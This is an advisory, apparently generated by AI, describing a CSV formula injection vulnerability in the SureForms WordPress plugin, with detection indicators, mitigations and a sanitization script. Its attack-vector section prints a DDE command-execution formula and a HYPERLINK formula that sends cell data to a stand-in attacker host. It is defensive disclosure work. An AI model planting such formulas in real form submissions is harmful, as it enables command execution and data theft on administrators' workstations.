CVE-2026-19501 Overview
CVE-2026-19501 is a CSV injection vulnerability in the Brainstorm Force SureForms WordPress plugin, affecting versions <= 2.12.1. The plugin fails to neutralize spreadsheet formula characters in user-controlled form field names before generating CSV exports. A remote attacker can submit form data containing formula prefixes such as =, +, -, or @. When an administrator later exports and opens the CSV in a vulnerable spreadsheet application, the embedded formulas execute on the administrator's workstation. This attack pattern is tracked as Formula Injection or CSV Injection [CWE-1236].
Critical Impact
Attackers can execute spreadsheet formulas on administrator workstations, potentially leading to data exfiltration or command execution through spreadsheet application features.
Affected Products
- Brainstorm Force SureForms plugin for WordPress
- SureForms versions <= 2.12.1
- Administrator workstations opening exported CSVs in spreadsheet applications
Discovery Timeline
- 2026-08-18 - CVE-2026-19501 published to NVD
- 2026-08-19 - Last updated in NVD database
Technical Details for CVE-2026-19501
Vulnerability Analysis
SureForms allows site owners to build web forms and export submissions to CSV. The plugin writes user-supplied values, including form field names, directly into CSV cells without prepending a neutralizing character or stripping leading formula operators.
Spreadsheet applications such as Microsoft Excel and LibreOffice Calc interpret any cell starting with =, +, -, or @ as a formula. This behavior converts attacker-controlled text into executable spreadsheet logic at file open time. Depending on the spreadsheet client and its macro or DDE settings, the formula can trigger outbound network requests, invoke external commands, or exfiltrate other cell contents.
The attack requires no authentication on the WordPress site because form submissions are typically public. The payload only activates when a privileged user exports and opens the resulting CSV, giving the attacker code execution context on the administrator's machine rather than the web server.
Root Cause
The CSV export routine does not sanitize or escape leading formula characters in field names before writing them to the export file. Proper mitigation requires prefixing suspect values with a single quote or tab character, or rejecting values that begin with formula operators.
Attack Vector
An unauthenticated attacker submits a SureForms entry where a field name or value begins with a formula operator, for example =cmd|'/c calc'!A1 or =HYPERLINK("http://attacker.tld/?d="&A2,"click"). An administrator later downloads the CSV export and opens it in Excel, at which point the formula executes with the administrator's local privileges. Refer to the GitHub CVE-2026-19501 PoC for a demonstration.
Detection Methods for CVE-2026-19501
Indicators of Compromise
- Form submission records where field names or values begin with =, +, -, or @
- CSV export files containing cells starting with formula operators
- Outbound network connections from administrator workstations shortly after opening a SureForms export
- Spreadsheet processes spawning cmd.exe, powershell.exe, or scripting hosts
Detection Strategies
- Inspect the WordPress database table storing SureForms submissions for entries starting with formula characters
- Review recent CSV exports for cells beginning with =, +, -, @, tab, or carriage return
- Alert on excel.exe or soffice.bin spawning child processes such as shells, mshta.exe, or rundll32.exe
- Correlate CSV file open events on admin endpoints with outbound HTTP requests to unknown domains
Monitoring Recommendations
- Log all SureForms submissions and export operations with source IP and administrator identity
- Deploy endpoint telemetry on administrator workstations to capture Office child-process activity
- Monitor egress traffic from workstations for connections initiated by spreadsheet applications
How to Mitigate CVE-2026-19501
Immediate Actions Required
- Update SureForms to a version later than 2.12.1 once Brainstorm Force releases a patched build
- Avoid opening SureForms CSV exports in Excel or Calc until the plugin is updated
- Audit existing form submissions for entries containing formula operators and purge or quarantine them
- Restrict CSV export capability to a minimal set of administrator accounts
Patch Information
No fixed version was listed in the NVD entry at the time of publication. Monitor the SureForms Home Page and the WordPress plugin repository for release notes addressing CVE-2026-19501.
Workarounds
- Open exports in a text editor or import them into a spreadsheet with formula evaluation disabled
- In Excel, enable Protected View and disable Dynamic Data Exchange (DDE) execution via Trust Center settings
- Preprocess CSV exports through a sanitization script that prefixes cells starting with =, +, -, or @ with a single quote
- Convert exports to a non-executable format such as JSON before analyst review
# Sanitize a SureForms CSV export by neutralizing formula-leading cells
awk 'BEGIN{FS=OFS=","} {for(i=1;i<=NF;i++) if($i ~ /^[=+\-@\t\r]/) $i="'\''"$i; print}' sureforms_export.csv > sureforms_export_safe.csv
Disclaimer: This content was generated using AI. While we strive for accuracy, please verify critical information with official sources.
